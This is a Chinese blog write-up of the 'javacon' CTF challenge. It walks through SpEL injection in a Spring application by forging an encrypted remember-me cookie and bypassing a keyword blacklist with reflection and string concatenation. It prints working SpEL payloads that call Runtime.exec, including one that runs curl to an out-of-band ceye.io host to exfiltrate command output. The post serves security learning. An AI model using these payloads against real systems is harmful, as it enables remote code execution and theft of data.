code-breaking之javacon

 JAVACON 题目

此题 来自P神 的code-breaking中的一道Java题,名为javacon,题目知识点为SpEL注入

题目下载地址:https://www.leavesongs.com/media/attachment/2018/11/23/challenge-0.0.1-SNAPSHOT.jar

运行环境  

java -jar challenge-0.0.1-SNAPSHOT.jar

涉及知识

访问 页面,是一个登录界面,请求参数中带有 jsessionid 。

 随便输入 admin   123 会提示 "登录失败 ..."

我们把 JAR 在 idea 里打开 ,目录结构大致如下

 spring 框架, 先看 下面的   application.yml  配置文件

spring:
  thymeleaf:
    encoding: UTF-8
    cache: false
    mode: HTML
keywords:
  blacklist:
    - java.+lang
    - Runtime
    - exec.*\(
user:
  username: admin
  password: admin
  rememberMeKey: c0dehack1nghere1

此文件 分了三个模块    spring 定义了 HTML模板 UTF-8源码以及无缓存 ,keywords 定义了黑名单 ,过滤了 “java.lang”、“Runtime”、“exec.(”等 ; user 定义了 admin admin账号密码,还有一个 remembermeKey 的 value。

Spring 框架 关键点在于 Controller 也就是控制器,看到 MainController.class ,其中定义了ExpressionParser , 该属性在 getAdvanceValue() 函数中会调用来解析字符串内容,由此可知 getAdvanceValue() 是SpEL 注入的触发点:

@Controller
public class MainController {
    ExpressionParser parser = new SpelExpressionParser();
    ...
    
    private String getAdvanceValue(String val) {
        String[] var2 = this.keyworkProperties.getBlacklist();
        int var3 = var2.length;

        for(int var4 = 0; var4 < var3; ++var4) {
            String keyword = var2[var4];
            Matcher matcher = Pattern.compile(keyword, 34).matcher(val);
            if (matcher.find()) {
                throw new HttpClientErrorException(HttpStatus.FORBIDDEN);
            }
        }

        ParserContext parserContext = new TemplateParserContext();
        Expression exp = this.parser.parseExpression(val, parserContext);
        SmallEvaluationContext evaluationContext = new SmallEvaluationContext();
        return exp.getValue(evaluationContext).toString();
    }
}

再看看是哪里调用了 getAdvanceValue() 函数,可以发现是在admin()函数中调用了,传递的参数是username 的值:

    public String admin(@CookieValue(value = "remember-me",required = false) String rememberMeValue, HttpSession session, Model model) {
        if (rememberMeValue != null && !rememberMeValue.equals("")) {
            String username = this.userConfig.decryptRememberMe(rememberMeValue);
            if (username != null) {
                session.setAttribute("username", username);
            }
        }

        Object username = session.getAttribute("username");
        if (username != null && !username.toString().equals("")) {
            model.addAttribute("name", this.getAdvanceValue(username.toString()));
            return "hello";
        } else {
            return "redirect:/login";
        }
    }

这里需要研究一下 如何这个username的值,先看注解为  /login 的login() 函数,其传入3个参数,第三个  remember-me 是非必须的,在第一个if 语句中 他会判断 username 和password 的值是否匹配,如果匹配 则会 通过  session.setAttribute("username")  来设置username ,但是再这之前会判断username的 所以无法在username 中写入我们的payload 。也就是说这里无法进行SpEL 注入。

再来看看主页面的代码逻辑即注解为“@GetMapping”的admin()函数。先判断remember-me是否为空,为空时直接调用session.getAttribute("username");获取session中即login()函数中设置的username再调用getAdvanceValue()函数,此时因为username是正确的用户名因此无法SpEL注入;若rememberMeValue不为空即login时选择了remember-me,则解码rememberMeValue值为username并通过调用session.setAttribute("username")来设置session中的username值,此时的username就可控了。

那么注入点的场景已经可以确定了:输入admin/admin并勾选remember-me选项登录后台,然后再修改cookie内容即可。

先登录到admin界面,看到会设置Cookie字段值为remember-me=MXPUSANQRVaBJYtUucUgmQ==

应该是一段base64 或者其他的加密  直接调用或复制加密代码  ,在他的代码中找到几个参数然后传入加密处理,执行完毕后和Cookie 字段值base64结果是一致的:

利用下mi1k7ea 师傅的图 将变量value从admin改为Mi1k7ea 得到加密值为4Hd10g7CuZZg5M1up1GExg==,放到cookie中发送报文,可以看到admin修改为Mi1k7ea,说明这里即为SpEL注入点:

 

构造payload

刚刚配置文件中的黑名单过滤了  java.langRuntimeexec(  ,没有思路 参考wp Code-Breaking Puzzles — javacon WriteUp - Ruilin (rui0.cn)

可以使用JAVA的反射机制来进行绕过,原理是因为通过反射机制的 forName() 和 getMethod() 登方法, 其参数是字符串因此可通过字符串拼接的方式来进行绕过黑名单。

Windows环境

本地弹计算器

String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("exec",String.class).invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"});

但是这里需要改为SpEl的解析格式以满足Spring的解析条件,主要就是改一个T() 。在SpEL中,使用T()运算符会调用类作用域的方法和常量。

注意,以new String[]{"cmd","/C","xx"}这种形式定义命令是为了满足Linux下复杂命令构造的条件,通用。当然Linux下应该写为new String[]{"/bin/bash","-c","xxxxx"}

payload如下:

#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})}

加密后发送过去,SpEL注入成功:

 

回带flag

这里换下payload,读取本地flag文件,由于没有回显,需要外带出来,使用curl命令结合反引号执行系统命令并带回:

#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","curl xx.ceye.io/`dir`"})}

参考

Code-Breaking Puzzles — javacon WriteUp - Ruilin (rui0.cn)

 code-breaking全部题解及知识拓展 - 先知社区 (aliyun.com)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值